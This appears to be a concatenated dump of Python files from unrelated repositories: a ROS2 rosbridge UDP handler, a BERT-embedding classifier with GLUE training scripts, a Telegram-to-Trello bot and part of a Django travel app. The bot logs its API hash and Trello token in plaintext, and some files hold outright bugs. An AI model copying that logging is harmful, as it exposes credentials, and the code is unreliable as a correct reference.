'rosbridge_websocket = rosbridge_server.scripts.rosbridge_websocket:main'
],
},
)
| {"/rosbridge_server/src/rosbridge_server/__init__.py": ["/rosbridge_server/src/rosbridge_server/udp_handler.py"]} |
46,012 | t40986044/ros2bridge_suite | refs/heads/main | /rosbridge_server/src/rosbridge_server/udp_handler.py | # import rospy
import rclpy
from rosbridge_library.rosbridge_protocol import RosbridgeProtocol
from rosbridge_library.util import bson
from twisted.internet.protocol import DatagramProtocol
class RosbridgeUdpFactory(DatagramProtocol):
def startProtocol(self):
self.socks = dict()
def datagramReceived(self, message, source_addr):
(host, port) = source_addr
endpoint = host.__str__() + port.__str__()
if endpoint in self.socks:
self.socks[endpoint].datagramReceived(message)
else:
def writefunc(msg):
self.transport.write(msg, (host, port))
self.socks[endpoint] = RosbridgeUdpSocket(writefunc)
self.socks[endpoint].startProtocol()
self.socks[endpoint].datagramReceived(message)
class RosbridgeUdpSocket:
client_id_seed = 0
clients_connected = 0
client_count_pub = None
# The following parameters are passed on to RosbridgeProtocol
# defragmentation.py:
fragment_timeout = 600 # seconds
# protocol.py:
delay_between_messages = 0 # seconds
max_message_size = None # bytes
unregister_timeout = 10.0 # seconds
ros_node = None
def __init__(self,write):
self.write = write
def startProtocol(self):
cls = self.__class__
parameters = {
"fragment_timeout": cls.fragment_timeout,
"delay_between_messages": cls.delay_between_messages,
"max_message_size": cls.max_message_size,
"unregister_timeout": cls.unregister_timeout
}
try:
self.protocol = RosbridgeProtocol(cls.client_id_seed, cls.ros_node, parameters=parameters)
self.protocol.outgoing = self.send_message
cls.client_id_seed += 1
cls.clients_connected += 1
if cls.client_count_pub:
cls.client_count_pub.publish(cls.clients_connected)
except Exception as exc:
# rospy.logerr("Unable to accept incoming connection. Reason: %s", str(exc))
cls.ros_node.get_logger().error("Unable to accept incoming connection. Reason: " + str(exc))
# rospy.loginfo("Client connected. %d clients total.", cls.clients_connected)
cls.ros_node.get_logger().info("Client connected. "+ str(cls.clients_connected) + " clients total.")
def datagramReceived(self, message):
self.protocol.incoming(message)
def stopProtocol(self):
cls = self.__class__
cls.clients_connected -= 1
self.protocol.finish()
if cls.client_count_pub:
cls.client_count_pub.publish(cls.clients_connected)
# rospy.loginfo("Client disconnected. %d clients total.", cls.clients_connected)
logger.info.loginfo("Client disconnected. %d clients total.", cls.clients_connected)
def send_message(self, message):
binary = isinstance(message, bson.BSON)
self.write(message)
def check_origin(self, origin):
return False
| {"/rosbridge_server/src/rosbridge_server/__init__.py": ["/rosbridge_server/src/rosbridge_server/udp_handler.py"]} |
46,025 | ziwei7437/simple_classifier | refs/heads/master | /run_classification.py | import os
import argparse
import logging
import torch
from torch.optim import SGD
import initialization
from classifier import simple_classifier
from runners import Runner, RunnerParameters
def print_args(args):
for k, v in vars(args).items():
print(" {}: {}".format(k, v))
def get_args(*in_args):
parser = argparse.ArgumentParser(description='simple-classification-after-bert-embeddings')
# === Required Parameters ===
parser.add_argument("--data_dir",
type=str,
default=None,
required=True,
help="training dataset directory")
parser.add_argument("--mnli",
default=False,
help='hack for mnli task')
parser.add_argument("--output_dir",
type=str,
default=None,
required=True,
help="Output directory")
# === Optional Parameters ===
parser.add_argument("--task_name",
default='snli',
type=str,
help="Task Name. Optional. For Infersent usages")
parser.add_argument("--use_individual",
action="store_true",
help="Use individual simple classifier.")
# training args for classifier
parser.add_argument("--force-overwrite", action="store_true")
parser.add_argument("--train_batch_size",
default=32,
type=int,
help="Total batch size for training.")
parser.add_argument("--eval_batch_size",
default=32,
type=int,
help="Total batch size for eval.")
parser.add_argument("--num_train_epochs",
default=3.0,
type=float,
help="Total number of training epochs to perform.")
# model
parser.add_argument("--dropout", type=float, default=0.1, help="classifier dropout probability")
parser.add_argument("--n_classes", type=int, default=3, help="entailment/neutral/contradiction")
parser.add_argument("--fc_dim", type=int, default=768, help="hidden size of classifier, size of input features")
# gpu
parser.add_argument("--gpu_id", type=int, default=0, help="GPU ID")
parser.add_argument("--seed", type=int, default=-1, help="seed")
parser.add_argument("--no_cuda",
action='store_true',
help="Whether not to use CUDA when available")
# others
parser.add_argument("--verbose", action="store_true", help='showing information.')
args = parser.parse_args(*in_args)
return args
def main():
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s',
datefmt='%m/%d/%Y %H:%M:%S',
level=logging.INFO)
logger = logging.getLogger(__name__)
args = get_args()
print_args(args)
device, n_gpu = initialization.init_cuda_from_args(args, logger=logger)
initialization.init_seed(args, n_gpu=n_gpu, logger=logger)
initialization.init_output_dir(args)
initialization.save_args(args)
classifier = simple_classifier(n_classes=args.n_classes, n_hidden=args.fc_dim)
classifier = classifier.to(device)
optimizer = SGD(classifier.parameters(), lr=0.001, momentum=0.9)
runner = Runner(classifier=classifier,
optimizer=optimizer,
device=device,
rparams=RunnerParameters(
num_train_epochs=args.num_train_epochs,
train_batch_size=args.train_batch_size,
eval_batch_size=args.eval_batch_size,
))
# dataset
train_dataset = torch.load(os.path.join(args.data_dir, "train.dataset"))
eval_dataset = torch.load(os.path.join(args.data_dir, "dev.dataset"))
if args.mnli:
mm_eval_dataset = torch.load(os.path.join(args.data_dir, "mm_dev.dataset"))
else:
mm_eval_dataset = None
# run training and validation
to_save = runner.run_train_val(
train_dataset=train_dataset,
eval_dataset=eval_dataset,
mm_eval_set=mm_eval_dataset,
)
# save training state to output dir.
torch.save(to_save, os.path.join(args.output_dir, "training.info"))
if __name__ == '__main__':
main()
| {"/run_classification.py": ["/initialization.py", "/classifier.py", "/runners.py"], "/run_glue_test.py": ["/initialization.py", "/classifier.py", "/runners.py", "/run_classification.py"], "/run_classification_infersent.py": ["/initialization.py", "/classifier.py", "/run_classification.py", "/runners.py"], "/runners.py": ["/classifier.py"]} |
46,026 | ziwei7437/simple_classifier | refs/heads/master | /run_glue_test.py | import os
import argparse
import logging
import pandas as pd
import torch
from torch.optim import SGD
import initialization
from classifier import simple_classifier, simple_classifier_individual
from runners import Runner, RunnerParameters
from run_classification import print_args, get_args
def main():
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s',
datefmt='%m/%d/%Y %H:%M:%S',
level=logging.INFO)
logger = logging.getLogger(__name__)
args = get_args()
# print_args(args)
device, n_gpu = initialization.init_cuda_from_args(args, logger=logger)
initialization.init_seed(args, n_gpu=n_gpu, logger=logger)
initialization.init_output_dir(args)
initialization.save_args(args)
if args.use_individual:
classifier = simple_classifier_individual(n_classes=args.n_classes, n_hidden=args.fc_dim)
else:
classifier = simple_classifier(n_classes=args.n_classes, n_hidden=args.fc_dim)
classifier = classifier.to(device)
optimizer = SGD(classifier.parameters(), lr=0.001, momentum=0.9)
runner = Runner(classifier=classifier,
optimizer=optimizer,
device=device,
rparams=RunnerParameters(
num_train_epochs=args.num_train_epochs,
train_batch_size=args.train_batch_size,
eval_batch_size=args.eval_batch_size,
),
use_individual=args.use_individual)
# dataset
train_dataset = torch.load(os.path.join(args.data_dir, "train.dataset"))
eval_dataset = torch.load(os.path.join(args.data_dir, "dev.dataset"))
test_dataset = torch.load(os.path.join(args.data_dir, "test.dataset"))
# run train and validation with state dicts returned
if args.mnli:
eval_info, state_dicts = runner.run_train_val_with_state_dict_returned(
train_dataset=train_dataset,
eval_dataset=eval_dataset,
mm_eval_set=torch.load(os.path.join(args.data_dir, "mm_dev.dataset"))
)
else:
eval_info, state_dicts = runner.run_train_val_with_state_dict_returned(
train_dataset=train_dataset,
eval_dataset=eval_dataset,
)
torch.save(eval_info, os.path.join(args.output_dir, "training.info"))
# find highest validation results, load model state dict, and then run prediction @ test set.
val_acc = []
mm_val_acc = []
if args.mnli:
for item in eval_info:
val_acc.append(item[0]['accuracy'])
mm_val_acc.append(item[1]['accuracy'])
idx = val_acc.index(max(val_acc))
print("highest accuracy on validation is: {}, index = {}. \n"
"mis-matched is: {} \n"
"Load state dicts and run testing...".format(val_acc[idx], idx, mm_val_acc[idx]))
else:
for item in eval_info:
val_acc.append(item['accuracy'])
idx = val_acc.index(max(val_acc))
print("highest accuracy on validation is: {}, index = {}. \n"
"Load state dicts and run testing...".format(val_acc[idx], idx))
torch.save(state_dicts[idx], os.path.join(args.output_dir, "state.p"))
runner.classifier.load_state_dict(state_dicts[idx])
logits = runner.run_test(test_dataset)
df = pd.DataFrame(logits)
df.to_csv(os.path.join(args.output_dir, "test_preds.csv"), header=False, index=False)
# HACK for MNLI-mismatched
if args.mnli:
mm_test_dataset = torch.load(os.path.join(args.data_dir, "mm_test.dataset"))
logits = runner.run_test(mm_test_dataset)
df = pd.DataFrame(logits)
df.to_csv(os.path.join(args.output_dir, "mm_test_preds.csv"), header=False, index=False)
if __name__ == '__main__':
main()
| {"/run_classification.py": ["/initialization.py", "/classifier.py", "/runners.py"], "/run_glue_test.py": ["/initialization.py", "/classifier.py", "/runners.py", "/run_classification.py"], "/run_classification_infersent.py": ["/initialization.py", "/classifier.py", "/run_classification.py", "/runners.py"], "/runners.py": ["/classifier.py"]} |
46,027 | ziwei7437/simple_classifier | refs/heads/master | /classifier.py | import torch
import torch.nn as nn
from torch.nn import CrossEntropyLoss
class simple_classifier_individual(nn.Module):
def __init__(self, n_classes, n_hidden=768, drop=0.1):
super(simple_classifier_individual, self).__init__()
self.drop = nn.Dropout(drop)
self.n_classes = n_classes
self.classifier = nn.Linear(n_hidden, n_classes)
def forward(self, x, labels=None):
x = self.drop(x)
logits = self.classifier(x)
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.n_classes), labels.view(-1))
return loss
else:
return logits
class simple_classifier(nn.Module):
def __init__(self, n_classes, n_hidden, drop=0.1):
super(simple_classifier, self).__init__()
self.input_dim = 4 * n_hidden
self.drop1 = nn.Dropout(drop)
self.drop2 = nn.Dropout(drop)
self.n_classes = n_classes
self.classifier = nn.Sequential(
nn.Linear(self.input_dim, n_hidden),
nn.Linear(n_hidden, n_classes)
)
def forward(self, u, v, labels=None):
u = self.drop1(u)
v = self.drop2(v)
features = torch.cat((u, v, torch.abs(u-v), u*v), -1)
logits = self.classifier(features)
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.n_classes), labels.view(-1))
return loss
else:
return logits
| {"/run_classification.py": ["/initialization.py", "/classifier.py", "/runners.py"], "/run_glue_test.py": ["/initialization.py", "/classifier.py", "/runners.py", "/run_classification.py"], "/run_classification_infersent.py": ["/initialization.py", "/classifier.py", "/run_classification.py", "/runners.py"], "/runners.py": ["/classifier.py"]} |
46,028 | ziwei7437/simple_classifier | refs/heads/master | /run_classification_infersent.py | import logging
import os
import pandas as pd
import torch
from torch.optim import SGD
import initialization
from classifier import simple_classifier
from run_classification import get_args, print_args
from runners import InfersentRunner, RunnerParameters
TRAIN_SET_NUM_MAP = {
'snli': 5,
'wnli': 1,
'rte': 1,
'mrpc': 1,
'qqp': 3,
'mnli': 4,
}
EVAL_SET_NUM_MAP = {
'snli': 1,
'wnli': 1,
'rte': 1,
'mrpc': 1,
'qqp': 1,
'mnli': 1,
}
TEST_SET_NUM_MAP = {
'snli': 1,
'wnli': 1,
'rte': 1,
'mrpc': 1,
'qqp': 4,
'mnli': 1,
}
def main():
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s',
datefmt='%m/%d/%Y %H:%M:%S',
level=logging.INFO)
logger = logging.getLogger(__name__)
args = get_args()
print_args(args)
device, n_gpu = initialization.init_cuda_from_args(args, logger=logger)
initialization.init_seed(args, n_gpu=n_gpu, logger=logger)
initialization.init_output_dir(args)
initialization.save_args(args)
classifier = simple_classifier(n_classes=args.n_classes, n_hidden=args.fc_dim)
classifier = classifier.to(device)
optimizer = SGD(classifier.parameters(), lr=0.001, momentum=0.9)
runner = InfersentRunner(classifier=classifier,
optimizer=optimizer,
device=device,
rparams=RunnerParameters(
num_train_epochs=args.num_train_epochs,
train_batch_size=args.train_batch_size,
eval_batch_size=args.eval_batch_size,
))
# dataset
train_datasets = []
for i in range(TRAIN_SET_NUM_MAP[args.task_name]):
train_dataset = torch.load(os.path.join(args.data_dir, "train-{}.dataset".format(i)))
train_datasets.append(train_dataset)
eval_dataset = torch.load(os.path.join(args.data_dir, "dev-0.dataset"))
if args.mnli:
mm_eval_dataset = torch.load(os.path.join(args.data_dir, "mm_dev-0.dataset"))
else:
mm_eval_dataset = None
# run training and validation
eval_info, state_dicts = runner.run_train_val_with_state_dict_returned(
train_dataset=train_datasets,
eval_dataset=eval_dataset,
mm_eval_set=mm_eval_dataset,
)
# save training state to output dir.
torch.save(eval_info, os.path.join(args.output_dir, "training.info"))
# find highest validation results, load model state dict, and then run prediction @ test set.
val_acc = []
mm_val_acc = []
if args.mnli:
for item in eval_info:
val_acc.append(item[0]['accuracy'])
mm_val_acc.append(item[1]['accuracy'])
idx = val_acc.index(max(val_acc))
print("highest accuracy on validation is: {}, index = {}. \n"
"mis-matched is: {} \n"
"Load state dicts and run testing...".format(val_acc[idx], idx, mm_val_acc[idx]))
else:
for item in eval_info:
val_acc.append(item['accuracy'])
idx = val_acc.index(max(val_acc))
print("highest accuracy on validation is: {}, index = {}. \n"
"Load state dicts and run testing...".format(val_acc[idx], idx))
torch.save(state_dicts[idx], os.path.join(args.output_dir, "state.p"))
test_datasets = []
for i in range(TEST_SET_NUM_MAP[args.task_name]):
test_dataset = torch.load(os.path.join(args.data_dir, "test-{}.dataset".format(i)))
test_datasets.append(test_dataset)
runner.classifier.load_state_dict(torch.load(os.path.join(args.output_dir, "state.p")))
logits = runner.run_test(test_datasets)
df = pd.DataFrame(logits)
df.to_csv(os.path.join(args.output_dir, "test_preds.csv"), header=False, index=False)
# HACK for MNLI-mismatched
if args.mnli:
mm_test_dataset = torch.load(os.path.join(args.data_dir, "mm_test-0.dataset"))
logits = runner.run_test([mm_test_dataset])
df = pd.DataFrame(logits)
df.to_csv(os.path.join(args.output_dir, "mm_test_preds.csv"), header=False, index=False)
if __name__ == '__main__':
main()
| {"/run_classification.py": ["/initialization.py", "/classifier.py", "/runners.py"], "/run_glue_test.py": ["/initialization.py", "/classifier.py", "/runners.py", "/run_classification.py"], "/run_classification_infersent.py": ["/initialization.py", "/classifier.py", "/run_classification.py", "/runners.py"], "/runners.py": ["/classifier.py"]} |
46,029 | ziwei7437/simple_classifier | refs/heads/master | /glue/format_config.py | import os
inputs = ["MNLI", 'MRPC', 'Pure', 'QNLI', 'QQP', 'RTE', 'SNLI', 'WNLI']
for name in inputs:
command = """
python format_for_glue.py \
-i ../../simple_classifier_output_individual/{} \
-o ../../simple_classifier_output_individual/{}/format
""".format(name, name)
os.system(command)
for name in inputs:
command = """
zip -j -D ../../simple_classifier_output_individual/{}/format/submission.zip ../../simple_classifier_output_individual/{}/format/*.tsv
""".format(name, name)
os.system(command) | {"/run_classification.py": ["/initialization.py", "/classifier.py", "/runners.py"], "/run_glue_test.py": ["/initialization.py", "/classifier.py", "/runners.py", "/run_classification.py"], "/run_classification_infersent.py": ["/initialization.py", "/classifier.py", "/run_classification.py", "/runners.py"], "/runners.py": ["/classifier.py"]} |
46,030 | ziwei7437/simple_classifier | refs/heads/master | /initialization.py | import json
import numpy as np
import os
import random
import torch
def init_cuda_from_args(args, logger):
device = torch.device("cuda" if torch.cuda.is_available() and not args.no_cuda else "cpu")
n_gpu = torch.cuda.device_count()
logger.info("device: {} n_gpu: {}, distributed training: {}, 16-bits training: {}".format(
device, n_gpu, False, False))
return device, n_gpu
def init_seed(args, n_gpu, logger):
seed = get_seed(args.seed)
random.seed(seed)
np.random.seed(seed)
torch.manual_seed(seed)
logger.info("Using seed: {}".format(seed))
args.seed = seed
if n_gpu > 0:
torch.cuda.manual_seed_all(args.seed)
def init_output_dir(args):
if not args.force_overwrite \
and (os.path.exists(args.output_dir) and os.listdir(args.output_dir)):
raise ValueError("Output directory ({}) already exists and is not empty.".format(args.output_dir))
os.makedirs(args.output_dir, exist_ok=True)
def get_seed(seed):
if seed == -1:
return int(np.random.randint(0, 2**32 - 1))
else:
return seed
def save_args(args):
with open(os.path.join(args.output_dir, "args.json"), "w") as f:
f.write(json.dumps(vars(args), indent=2))
| {"/run_classification.py": ["/initialization.py", "/classifier.py", "/runners.py"], "/run_glue_test.py": ["/initialization.py", "/classifier.py", "/runners.py", "/run_classification.py"], "/run_classification_infersent.py": ["/initialization.py", "/classifier.py", "/run_classification.py", "/runners.py"], "/runners.py": ["/classifier.py"]} |
46,031 | ziwei7437/simple_classifier | refs/heads/master | /config.py | import yaml
import os
f = open('config.yaml', 'r')
config = yaml.load(f, Loader=yaml.FullLoader)
f.close()
# for type in config['type']:
# for task in config['tasks']:
# if task == 'mnli':
# command = '''
# python run_glue_test.py \
# --mnli True \
# --data_dir ../bert_embeddings_individual/{}_{} \
# --output_dir ../simple_classifier_output_individual/{}/{} \
# --use_individual \
# --force-overwrite \
# --num_train_epochs 50 \
# --n_classes 2 \
# --verbose
# '''.format(type.lower(), task, type, task)
# else:
# command = '''
# python run_glue_test.py \
# --data_dir ../bert_embeddings_individual/{}_{} \
# --output_dir ../simple_classifier_output_individual/{}/{} \
# --use_individual \
# --force-overwrite \
# --num_train_epochs 50 \
# --n_classes 2 \
# --verbose
# '''.format(type.lower(), task, type, task)
# os.system(command)
# print("{} - {}".format(type, task))
tasks = ['qqp', 'mnli', 'snli', 'qnli']
ns = ['2', '3', '3', '2']
for task, n in zip(tasks, ns):
if task == 'mnli':
command = '''
python run_glue_test.py \
--mnli True \
--data_dir ../bert_embeddings_individual/qqp_{} \
--output_dir ../simple_classifier_output_individual/QQP/{} \
--use_individual \
--force-overwrite \
--num_train_epochs 20 \
--n_classes {} \
--verbose
'''.format(task, task, n)
else:
command = '''
python run_glue_test.py \
--data_dir ../bert_embeddings_individual/qqp_{} \
--output_dir ../simple_classifier_output_individual/QQP/{} \
--use_individual \
--force-overwrite \
--num_train_epochs 20 \
--n_classes {} \
--verbose
'''.format(task, task, n)
os.system(command)
print("{} - {}".format("qqp", task))
| {"/run_classification.py": ["/initialization.py", "/classifier.py", "/runners.py"], "/run_glue_test.py": ["/initialization.py", "/classifier.py", "/runners.py", "/run_classification.py"], "/run_classification_infersent.py": ["/initialization.py", "/classifier.py", "/run_classification.py", "/runners.py"], "/runners.py": ["/classifier.py"]} |
46,032 | ziwei7437/simple_classifier | refs/heads/master | /runners.py | import torch
from torch.utils.data import DataLoader, RandomSampler, SequentialSampler
from tqdm.auto import tqdm, trange
import numpy as np
def get_dataloader(dataset, batch_size, train=True):
sampler = RandomSampler(dataset) if train else SequentialSampler(dataset)
dataloader = DataLoader(dataset, sampler=sampler, batch_size=batch_size)
return dataloader
def compute_simple_accuracy(logits, labels):
pred_arr = np.argmax(logits, axis=1)
assert len(pred_arr) == len(labels)
return (pred_arr == labels).mean()
class TrainEpochState:
def __init__(self):
self.tr_loss = 0
self.global_step = 0
self.nb_tr_examples = 0
self.nb_tr_steps = 0
class TrainingState:
def __init__(self):
self.tr_loss = list()
self.val_history = list()
self.epoch_loss = list()
class RunnerParameters:
def __init__(self, num_train_epochs, train_batch_size, eval_batch_size):
self.num_train_epochs = num_train_epochs
self.train_batch_size = train_batch_size
self.eval_batch_size = eval_batch_size
class Runner:
def __init__(self, classifier, optimizer, device, rparams:RunnerParameters, use_individual=False):
self.classifier = classifier
self.optimizer = optimizer
self.device = device
self.training_state = TrainingState()
self.eval_info = []
self.state_dicts = []
self.rparams = rparams
self.use_individual = use_individual
def run_train_val(self, train_dataset, eval_dataset, mm_eval_set=None, verbose=True):
if verbose:
print("**** run train ****")
print("using {}".format(self.device))
train_dataloader = get_dataloader(train_dataset, batch_size=self.rparams.train_batch_size)
eval_dataloader = get_dataloader(eval_dataset, batch_size=self.rparams.eval_batch_size, train=False)
if mm_eval_set is not None:
mm_eval_dataloader = get_dataloader(mm_eval_set, batch_size=self.rparams.eval_batch_size, train=False)
# run train
self.classifier.train()
for _ in range(int(self.rparams.num_train_epochs), desc="Epoch"):
self.run_train_epoch(train_dataloader)
result = self.run_val(eval_dataloader)
if mm_eval_set is not None:
mm_result = self.run_val(mm_eval_dataloader)
combined_result = (result, mm_result)
self.eval_info.append(combined_result)
else:
self.eval_info.append(result)
return self.eval_info
def run_train_val_with_state_dict_returned(self, train_dataset, eval_dataset, mm_eval_set=None, verbose=True):
# clear previous results if there were.
self.eval_info = []
self.state_dicts = []
# ignore mismatched cases here.
if verbose:
print("**** run train ****")
print("using {}".format(self.device))
train_dataloader = get_dataloader(train_dataset, batch_size=self.rparams.train_batch_size)
eval_dataloader = get_dataloader(eval_dataset, batch_size=self.rparams.eval_batch_size, train=False)
if mm_eval_set != None:
mm_eval_dataloader = get_dataloader(mm_eval_set, batch_size=self.rparams.eval_batch_size, train=False)
# Run train
self.classifier.train()
for _ in trange(int(self.rparams.num_train_epochs), desc="Epoch"):
self.run_train_epoch(train_dataloader)
result = self.run_val(eval_dataloader)
if mm_eval_set != None:
mm_result = self.run_val(mm_eval_dataloader)
result = (result, mm_result)
self.eval_info.append(result)
self.state_dicts.append(self.classifier.state_dict())
return self.eval_info, self.state_dicts
def run_train_epoch(self, dataloader):
train_epoch_state = TrainEpochState()
for step, batch in enumerate(dataloader):
if not self.use_individual:
u = batch[0].to(self.device)
v = batch[1].to(self.device)
label = batch[2].to(self.device)
loss = self.classifier(u, v, label)
else:
emb = batch[0].to(self.device)
label = batch[1].to(self.device)
loss = self.classifier(emb, label)
loss.backward()
self.training_state.tr_loss.append(loss.item())
# print("Mini-batch Loss: {:.4f}".format(self.training_state.tr_loss[-1]))
train_epoch_state.tr_loss += loss.item()
train_epoch_state.nb_tr_examples += batch[0].size(0)
train_epoch_state.nb_tr_steps += 1
self.optimizer.step()
self.optimizer.zero_grad()
train_epoch_state.global_step += 1
self.training_state.epoch_loss.append(train_epoch_state.tr_loss)
def run_val(self, dataloader):
self.classifier.eval()
all_logits, all_labels = [], []
total_eval_loss = 0
nb_eval_steps = 0
for step, batch in enumerate(dataloader):
if not self.use_individual:
u = batch[0].to(self.device)
v = batch[1].to(self.device)
label = batch[2].to(self.device)
with torch.no_grad():
tmp_eval_loss = self.classifier(u, v, label)
logits = self.classifier(u, v)
else:
emb = batch[0].to(self.device)
label = batch[1].to(self.device)
with torch.no_grad():
tmp_eval_loss = self.classifier(emb, label)
logits = self.classifier(emb)
total_eval_loss += tmp_eval_loss.mean().item()
label = label.cpu().numpy()
logits = logits.detach().cpu().numpy()
all_logits.append(logits)
all_labels.append(label)
nb_eval_steps += 1
eval_loss = total_eval_loss / nb_eval_steps
all_logits = np.concatenate(all_logits, axis=0)
all_labels = np.concatenate(all_labels, axis=0)
accuracy = compute_simple_accuracy(all_logits, all_labels)
return {
"loss": eval_loss,
"accuracy": accuracy
}
def run_test(self, dataset):
dataloader = get_dataloader(dataset, batch_size=self.rparams.eval_batch_size, train=False)
self.classifier.eval()
all_logits = []
for step, batch in enumerate(dataloader):
if not self.use_individual:
u = batch[0].to(self.device)
v = batch[1].to(self.device)
with torch.no_grad():
logits = self.classifier(u, v)
else:
emb = batch[0].to(self.device)
with torch.no_grad():
logits = self.classifier(emb)
logits = logits.detach().cpu().numpy()
all_logits.append(logits)
all_logits = np.concatenate(all_logits, axis=0)
return all_logits
class InfersentRunner(Runner):
def __init__(self, classifier, optimizer, device, rparams: RunnerParameters):
super(InfersentRunner, self).__init__(classifier, optimizer, device, rparams)
def run_train_val_with_state_dict_returned(self, train_dataset, eval_dataset, mm_eval_set=None, verbose=True):
"""
Overwrite for loading separately saved datasets.
:param train_dataset: a list of 'TensorDataset'
:param eval_dataset: same as parent class. A 'TensorDataset' object.
:param mm_eval_set: same as parent class. A 'TensorDataset' object.
:param verbose: True for printing info while training.
:return: model state_dicts and training info
"""
self.eval_info = []
self.state_dicts = []
# ignore mismatched cases here.
if verbose:
print("**** run train ****")
print("using {}".format(self.device))
train_dataloaders = []
for dataset in train_dataset:
train_dataloader = get_dataloader(dataset, batch_size=self.rparams.train_batch_size)
train_dataloaders.append(train_dataloader)
eval_dataloader = get_dataloader(eval_dataset, batch_size=self.rparams.eval_batch_size, train=False)
if mm_eval_set != None:
mm_eval_dataloader = get_dataloader(mm_eval_set, batch_size=self.rparams.eval_batch_size, train=False)
# Run train
for _ in trange(int(self.rparams.num_train_epochs), desc="Epoch"):
self.classifier.train()
for train_dataloader in train_dataloaders:
self.run_train_epoch(train_dataloader)
# run validation after each epoch
result = self.run_val(eval_dataloader)
if mm_eval_set != None:
mm_result = self.run_val(mm_eval_dataloader)
result = (result, mm_result)
self.eval_info.append(result)
self.state_dicts.append(self.classifier.state_dict())
return self.eval_info, self.state_dicts
def run_test(self, datasets):
all_logits = []
for dataset in datasets:
logits = super(InfersentRunner, self).run_test(dataset)
all_logits.append(logits)
all_logits = np.concatenate(all_logits, axis=0)
return all_logits
if __name__ == '__main__':
from torch.optim import SGD
from classifier import simple_classifier
path = "../bert_embeddings/qqp_qqp/"
data = torch.load(path+"train.dataset")
val_data = torch.load(path+"dev.dataset")
loader = get_dataloader(data, batch_size=64)
model = simple_classifier(2, 768)
model.to("cuda")
opt = SGD(model.parameters(), lr=0.001, momentum=0.9)
runner = Runner(classifier=model, optimizer=opt, device="cuda", rparams=RunnerParameters(5, 64, 64))
to_return = runner.run_train_val(data, val_data)
print(to_return)
| {"/run_classification.py": ["/initialization.py", "/classifier.py", "/runners.py"], "/run_glue_test.py": ["/initialization.py", "/classifier.py", "/runners.py", "/run_classification.py"], "/run_classification_infersent.py": ["/initialization.py", "/classifier.py", "/run_classification.py", "/runners.py"], "/runners.py": ["/classifier.py"]} |
46,036 | SkullGG-Ui/telegram_trello | refs/heads/main | /main.py | import time
from telethon import TelegramClient, events
from trello_client import TrelloClient
from settings import *
from datetime import datetime, timedelta
import logging
logging.basicConfig(filename='logs.log',level=logging.DEBUG)
logging.getLogger('telethon').setLevel(level=logging.WARNING)
telegram_cli = TelegramClient(USERNAME, TELEGRAM_API_ID, TELEGRAM_API_HASH)
logging.info('Initialized Telegram Client')
logging.info({
'Username': USERNAME,
'ApiID': TELEGRAM_API_ID,
'ApiHash': TELEGRAM_API_HASH
})
trello_cli = TrelloClient(TRELLO_KEY, TRELLO_TOKEN, TRELLO_BOARD_ID, TRELLO_LIST_ID)
logging.info("Initialized Trello Client")
logging.info({
'ApiKey': TRELLO_KEY,
'ApiToken': TRELLO_TOKEN,
'BoardID': TRELLO_BOARD_ID,
'ListID': TRELLO_LIST_ID
})
def get_next_day():
today = datetime.now()
next_day = today + timedelta(days=1)
return next_day.strftime('%m/%d/%Y')
@telegram_cli.on(events.NewMessage)
async def my_event_handler(event):
if event.to_id.channel_id in DIALOGS_LIST:
logging.info('New Message from channel {}'.format(event.to_id.channel_id))
description = ''
try:
if event.message.from_id:
sender_entity = await telegram_cli.get_entity(event.message.from_id)
description = 'Заявка від користувача: {} {} з нікнеймом {}'.format(sender_entity.first_name,
sender_entity.last_name,
sender_entity.username)
except Exception as e:
logging.error(e)
logging.error(event)
if event.media:
image = await telegram_cli.download_media(event.message, file=MEDIA_FOLDER)
trello_cli.create_card(event.raw_text, get_next_day(), description, image)
logging.info('Created card with image {}'.format(image))
else:
trello_cli.create_card(event.raw_text, get_next_day(), description)
logging.info('Created card with text.')
telegram_cli.start()
logging.info('Started telegram client')
telegram_cli.run_until_disconnected() | {"/main.py": ["/trello_client.py"]} |
46,037 | SkullGG-Ui/telegram_trello | refs/heads/main | /trello_client.py | import requests
class TrelloClient():
def __init__(self, trello_key, trello_token, trello_board_id, trello_list_id):
self.trello_key = trello_key
self.trello_token = trello_token
self.trello_board_id = trello_board_id
self.trello_list_id = trello_list_id
def create_card(self, message, due_date, description=None, attachment_file_path=None):
url = "https://api.trello.com/1/cards"
querystring = {
"name":message, "desc": description, "due": due_date,
"pos": "top", "idList":self.trello_list_id,
"keepFromSource": "all", "key": self.trello_key, "token": self.trello_token
}
response = requests.request("POST", url, params=querystring)
if attachment_file_path:
card_id = response.json()['id']
url = 'https://api.trello.com/1/cards/{}/attachments'.format(card_id)
params = {'key': self.trello_key, 'token': self.trello_token}
files = {'file': open(attachment_file_path, 'rb')}
response = requests.post(url, params=params, files=files) | {"/main.py": ["/trello_client.py"]} |
46,038 | FillipdotS/corona-traveler | refs/heads/master | /tourist/serializers.py | from rest_framework import serializers
from .models import Country
class CountrySerializer(serializers.ModelSerializer):
class Meta:
model = Country
fields = ('code', 'name', 'allowed_from', 'restriction_level')
class CountrySerializerBasic(serializers.ModelSerializer):
class Meta:
model = Country
fields = ('code', 'name') | {"/tourist/serializers.py": ["/tourist/models.py"], "/tourist/admin.py": ["/tourist/models.py"], "/tourist/views.py": ["/tourist/models.py", "/tourist/serializers.py", "/tourist/forms.py"], "/tourist/forms.py": ["/tourist/models.py"]} |
46,039 | FillipdotS/corona-traveler | refs/heads/master | /tourist/models.py | from django.db import models
from django.core.validators import MaxValueValidator, MinValueValidator
# Create your models here.
class Country(models.Model):
code = models.CharField(max_length=2, primary_key=True)
name = models.CharField(max_length=50)
allowed_from = models.ManyToManyField(
'self',
blank=True,
symmetrical=False,
help_text="Citizens from these countries are allowed in.",
related_name='allowances'
)
eu_country = models.BooleanField(default=False)
restriction_level = models.IntegerField(
validators=[MinValueValidator(0), MaxValueValidator(10)],
help_text="0 - No restrictions, 1 - Allow EU countries, 10 - Full restrictions",
default=5
)
excluded_from = models.ManyToManyField(
'self',
blank=True,
symmetrical=False,
help_text="Citizens from these countries are NOT allowed in.",
related_name='exclusions'
)
def __str__(self):
return self.name
class Meta:
ordering = ['name']
class Feedback(models.Model):
email = models.EmailField(max_length=100, blank=True)
subject = models.CharField(max_length=100)
message = models.TextField(max_length=10000)
date_sent = models.DateField(auto_now_add=True)
def __str__(self):
